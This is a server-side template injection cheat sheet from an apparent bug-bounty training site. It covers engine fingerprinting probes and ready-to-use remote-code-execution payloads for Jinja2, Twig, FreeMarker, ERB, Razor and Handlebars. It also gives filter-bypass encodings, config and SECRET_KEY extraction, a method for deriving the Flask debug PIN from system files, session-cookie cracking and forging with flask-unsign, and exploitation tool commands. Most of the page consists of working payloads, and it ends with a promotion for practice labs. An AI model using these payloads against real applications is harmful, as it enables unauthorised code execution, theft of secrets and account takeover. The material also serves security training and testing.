SSTI Cheatsheet
Server-Side Template Injection
Quick reference
- →Decision tree: {{7*7}}=49? -> {{7*"7"}}=7777777 (Jinja2) or 49 (Twig)
- →Look for SSTI in: PDF/email generators, admin templating systems, custom error responses
- →For Jinja2 with strict filters, use hex encoding (\x5f) or chr() to avoid _ and quotes
- →Twig sandbox escape: sort("call_user_func") enables RCE even in sandboxed mode
- →If Flask has debug mode enabled, compute the PIN from /proc and /sys data
Detection and fingerprinting
Initial fuzzing
${{<%[%'"}}%\Math test Jinja2/TwigIf it returns 49, it's Jinja2 or Twig
{{7*7}}Distinguish Jinja2 from TwigJinja2 returns 7777777, Twig returns 49
{{7*'7'}}FreeMarker testIf it returns 49, it's FreeMarker (Java)
${7*7}ERB test (Ruby)If it returns 49, it's ERB
<%= 7*7 %>
Razor test (.NET)If it returns 49, it's Razor
@(7*7)
Smarty/Mako test
${7*7}Django testIf it shows debug info, it's Django
{% debug %}Jinja2 (Python) - RCE
One-shot RCE via request
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}RCE via subclass chain
{{''.__class__.__mro__[1].__subclasses__()[400]('whoami',shell=True,stdout=-1).communicate()}}Config and secrets
{{config.items()}}Django SECRET_KEY
{{settings.SECRET_KEY}}Filter bypass (hex encoding)Bypass when _ is filtered
{{request|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")}}Quote-free (chr encoding)
{{''.__class__.__mro__[1].__subclasses__()[396](chr(105)+chr(100),shell=True,stdout=-1).communicate()[0].strip()}}Other engines - RCE
ERB (Ruby) - system
<%= system("whoami") %>ERB - backticks
<%= `ls /` %>
FreeMarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }Twig sandbox escapesort() accepts a callback -> call_user_func("system", "id")
{{ ['system','id'] | sort('call_user_func') }}Handlebars (JS)
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}Razor (.NET) - Process
@{var proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c whoami";
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
var output = proc.StandardOutput.ReadToEnd();}@outputFlask/Werkzeug Debug PIN
Compute the PIN with LFI
Leer: 1. /proc/self/environ (username del proceso) 2. /sys/class/net/eth0/address (MAC en decimal) 3. /etc/machine-id o /proc/sys/kernel/random/boot_id 4. Path a flask/app.py (del traceback) Calcular: SHA1(public_bits + private_bits) -> PIN
Flask session forgeryCrack the Flask session secret key
flask-unsign --wordlist rockyou.txt --unsign --cookie 'eyJ...'
Forge a session
flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123'Tools
SSTImap
Automated multi-engine SSTI detection and exploitation tool
python3 sstimap.py -u 'https://target.com/?param=test' --os-cmd 'id'
tplmap
SSTImap alternative with support for multiple template engines
python3 tplmap.py -u 'https://target.com/?name=test' --os-cmd 'id'
fenjing
Automatic Jinja2 payload generator with filter bypasses
python3 -c "from fenjing import exec_cmd_payload; ..."
flask-unsign
Crack and forge Flask session cookies
flask-unsign --unsign --cookie 'eyJ...' --wordlist rockyou.txt
Related content
Ready to practice?
Put these payloads to work in real labs based on bug bounty reports.
See practice labs- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Stop reading about bugs and start hunting them
Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.
No card · free Academy · cancel anytime